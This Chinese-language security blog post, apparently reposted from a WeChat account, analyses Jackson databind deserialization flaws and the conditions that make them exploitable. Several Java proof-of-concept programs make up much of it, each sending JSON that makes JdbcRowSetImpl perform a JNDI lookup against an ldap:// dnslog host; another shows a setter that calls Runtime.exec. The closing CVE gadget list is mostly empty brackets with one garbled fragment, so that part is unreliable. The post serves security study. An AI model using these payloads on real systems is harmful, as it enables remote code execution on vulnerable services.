虽然jackson 的CVE众多,让人误以为其和fastjson一样很容易反序列化攻击,但其实都是各式各样的第三方jar包导致的Gadget,实战中很难成功。
官方团队也烦了这种刷CVE行为,于2020年12月30日不再给这种Gadget申请CVE。
https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria
jackson黑名单
https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java
从官方通告中我们可以看到jackson反序列化要满足什么样的条件。
Service accepts JSON content from untrusted senders AND
Service enables "Default Typing" feature (or uses equivalent @JsonTypeInfo with base type of java.lang.Object) AND
Service has one of 3rd libraries with "gadget" Java classes AND
Jackson version is 2.9.x or lower
外部json,开启Default Typing或者@JsonTypeInfo,还需要Object基本类,存在第三方jar包的gadget,版本等于或小于2.9.x。
此文章也分析的很透彻
https://www.leadroyal.cn/p/594/
https://www.leadroyal.cn/p/616/
https://www.leadroyal.cn/p/630/
https://www.leadroyal.cn/p/633/
从jackson的POC中我们来看这些要求,以下POC环境为jackson-databind-2.8.9,jackson-core-2.8.8,jackson-annotations-2.8.0。
package test;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonJndi {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}]";
mapper.readValue(json, Object.class);
}
}
由于这个jackson版本较低,所以可以直接使用fastjson常用JNDI链。由于没有@type,所以必须使用[]来申明这是个对象,没有像fastjson那么多的变化。
注意这里的enableDefaultTyping()和Object.class,这也是jackson反序列化漏洞产生的必要条件。实战中往往并没有那么容易见到。
enableDefaultTyping为允许指定类名进行反序列化,否则只允许基本类型比如String,其可以被@JsonTypeInfo代替,我们新建一个jacksonObject类,给其 一个Object属性。
package test;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonJndi {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
//mapper.enableDefaultTyping();
//String json = "["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}]";
String json = "{"name":"a","object":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}]}";
//String json = "{"name":"a","object":{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}}";
//String json = "{"name":"a","object":{"@c":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}}";
//String json = "{"name":"a","object":{"@type":"JdbcRowSetImpl","dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}}";
mapper.readValue(json, jacksonObject.class);
}
}
class jacksonObject {
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
//@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
//@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
public Object object;
}
当被反序列化的类中有@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)或者@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)声明,且其有Object的属性,也可以完成反序列化。
JsonTypeInfo.Id.CLASS需要使用@class声明类,JsonTypeInfo.Id.MINIMAL_CLASS需要@c声明类。这里起到了和fastjson的@type一样的作用,jackson也有@type,也就是JsonTypeInfo.Id.NAME,不过这种需要类完全一样而不能是Object因此很难利用成功。
当然,也可以不使用@class/@c/@type,而用[]格式也是一样的。
jackson的json反序列化是先找setter再去用反射设置属性,所以如果被反序列化的类setter中有链也有可能产生危害。不过只要没有enableDefaultTyping/@JsonTypeInfo就只有基础类可以利用,是安全的。
package test;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonJndi {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
String json = "{"name":"calc"}";
mapper.readValue(json, jacksonObject.class);
}
}
class jacksonObject {
public String name;
public void setName(String name) throws Exception{
this.name = name;
Runtime.getRuntime().exec(name);
}
}
直接readValue(json, Object.class)的情况少见,但间接Object可以扩展到List和Map上去。
package test;
import java.util.HashMap;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonMap {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
HashMap<String, String> map = new HashMap<String,String>();
map.put("name", "jack");
map.put("city", "beijin");
String mjson = mapper.writeValueAsString(map);
System.out.println(mjson);
mjson = "{"city":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}],"name":"jack"}";
HashMap<String,String> mmap = mapper.readValue(mjson, HashMap.class);
System.out.println(mmap);
}
}
package test;
import java.util.ArrayList;
import java.util.List;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonList {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
List list = new ArrayList<>();
list.add("beijin");
list.add("tianjin");
String ljson = mapper.writeValueAsString(list);
System.out.println(ljson);
ljson = "[["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://wl0mzx.dnslog.cn:1389/Exploit","autoCommit":"true"}],"tianjin"]";
List list2 = mapper.readValue(ljson, ArrayList.class);
System.out.println(list2);
}
}
同理,如果反序列化的类,有Map属性,也可以完成反序列化攻击,enableDefaultTyping 和@JsonTypeInfo只要求有一个即可。
package test;
import java.util.HashMap;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonMap {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
//mapper.enableDefaultTyping();
String json = "{"name":"a","object":{"city":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://237xiy.dnslog.cn/Exploit","autoCommit":"true"}],"name":"jack"}}";
mapper.readValue(json, jacksonMapObject.class);
}
}
class jacksonMapObject {
public String name;
(use = JsonTypeInfo.Id.CLASS)
public HashMap object;
}
因此寻找jackson的反序列化入口,不能只像fastjson关注parse()和parseObject(),jackson中是readValue()。还必须关注enableDefaultTyping 和@JsonTypeInfo,以及是否有直接间接使用Object类。
这样看起来jackson的反序列化漏洞危害就大大降低了。
本来准备找一下jackson的所有Gadgets,但某些人水CVE实在水的丧心病狂,也难怪jackson团队拒绝再接受新的Gadgets相关CVE。
就只抄了些网上公开的,绝大部分都不实用。
CVE-2017-7525
["transletName": "a.b","outputProperties": {}}] ],
CVE-2017-15095
[ ]
CVE-2017-17485,需要spring-context-4.3.10.RELEASE.jar
[ ]
CVE-2019-12086,mysql任意文件读取,需要mysql-connector-java-8.0.13.jar
[ ]
CVE-2019-12384,需要h2-1.4.199.jar和logback-core-1.3.0-alpha4.jar
[ ]
CVE-2019-12814,XXE,需要jdom2-2.0.6.jar
[ ]
CVE-2019-14379,需要ehcache-2.10.6.jar
[ ]
CVE-2019-14439,需要logback-core-1.3.0-alpha4.jar
[ ]
CVE-2020-10969,SSRF
[ ]
CVE-2020-14060,需要drill-jdbc-all-1.4.0.jar
[ ]
CVE-2020-14062,需要jaxp-ri-1.4.jar
[ ]
CVE-2020-14195,需要jsecurity-0.9.0.jar
[ ]
CVE-2020-24616,需要Anteros-DBCP-1.0.1.jar
[ ]
CVE-2020-24750,需要configuration-0.1.3.jar
[ ]
CVE-2020-36186,需要naming-factory-dbcp-5.5.23.jar
[ ]
CVE-2020-36189,需要h2-1.4.199.jar和newrelic-agent-4.9.0.jar
[ ]
本文始发于微信公众号(珂技知识分享):java反序列化实战【05】——jackson
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论